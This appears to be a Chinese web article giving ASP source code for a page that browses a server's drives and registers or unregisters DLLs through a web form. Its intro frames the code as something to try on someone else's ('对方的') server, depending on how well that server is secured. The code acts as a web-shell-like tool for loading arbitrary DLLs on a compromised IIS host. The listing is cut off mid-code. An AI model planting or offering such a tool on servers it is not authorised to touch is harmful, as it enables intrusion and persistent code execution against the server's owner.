利用ASP远程注册DLL的方法

2022-07-15 80酷酷网 80kuku.com

　　老外真是聪明，这个方法也想得到，有兴趣的不妨试试，但是如果对方的服务器安全搞的很好的话，这个代码也许就不能用了，但不管怎么样，学习一下也是好的，：）

<% Response.Buffer = True %>
<% Server.ScriptTimeout = 500
    Dim frmFolderPath, frmFilePath

    frmFolderPath = Request.Form("frmFolderPath")
    frmFilePath = Request.Form("frmDllPath")
    frmMethod = Request.Form("frmMethod")
    btnREG = Request.Form("btnREG")
%>

<HTML>
<HEAD>
    <TITLE>Regsvr32.asp</TITLE>
    <STYLE TYPE="TEXT/CSS">
    .Legend {FONT-FAMILY: veranda; FONT-SIZE: 14px; FONT-WEIGHT: bold; COLOR: blue}
    .FS {FONT-FAMILY: veranda; FONT-SIZE: 12px; BORDER-WIDTH: 4px; BORDER-COLOR: green;
        MARGIN-LEFT:2px; MARGIN-RIGHT:2px}
    TD {MARGIN-LEFT:6px; MARGIN-RIGHT:6px; PADDING-LEFT:12px; PADDING-RIGHT:12px}
    </STYLE>
</HEAD>

<BODY>
<FORM NAME="regForm" METHOD="POST">
<TABLE BORDER=0 CELLSPACING=6 CELLPADDING=6 MARGINWIDTH=6>
<TR>
    <TD VALIGN=TOP>
    <FIELDSET ID=FS1 NAME=FS1 CLASS=FS>
    <LEGEND CLASS=Legend>Regsvr Functions</LEGEND>
    Insert Path to DLL Directory

    <INPUT TYPE=TEXT NAME="frmFolderPath" VALUE="<%=frmFolderPath%>">

    <INPUT TYPE=SUBMIT NAME=btnFileList VALUE="Build File List">

<%
    IF Request.Form("btnFileList") <> "" OR btnREG <> "" Then
        Set RegisterFiles = New clsRegister
            RegisterFiles.EchoB("<B>Select File</B>")
            Call RegisterFiles.init(frmFolderPath)
            RegisterFiles.EchoB("
<INPUT TYPE=SUBMIT NAME=btnREG VALUE=" & Chr(34) _
             & "REG/UNREG" & Chr(34) & ">")
        IF Request.Form("btnREG") <> "" Then
            Call RegisterFiles.Register(frmFilePath, frmMethod)
        End IF
        Set RegisterFiles = Nothing
    End IF
%>
    </FIELDSET>
    </TD>
</TR>
</TABLE>
</FORM>
</BODY>
</HTML>
<%
Class clsRegister

    Private m_oFS

    Public Property Let oFS(objOFS)
        m_oFS = objOFS
    End Property

    Public Property Get oFS()
        Set oFS = Server.CreateObject("Scripting.FileSystemObject")
    End Property


    Sub init(strRoot) 'Root to Search (c:, d:, e:)
    Dim oDrive, oRootDir
        IF oFS.FolderExists(strRoot) Then
            IF Len(strRoot) < 3 Then 'Must Be a Drive
                Set oDrive = oFS.GetDrive(strRoot)
                Set oRootDir = oDrive.RootFolder
            Else
                Set oRootDir = oFS.GetFolder(strRoot)
        &nbs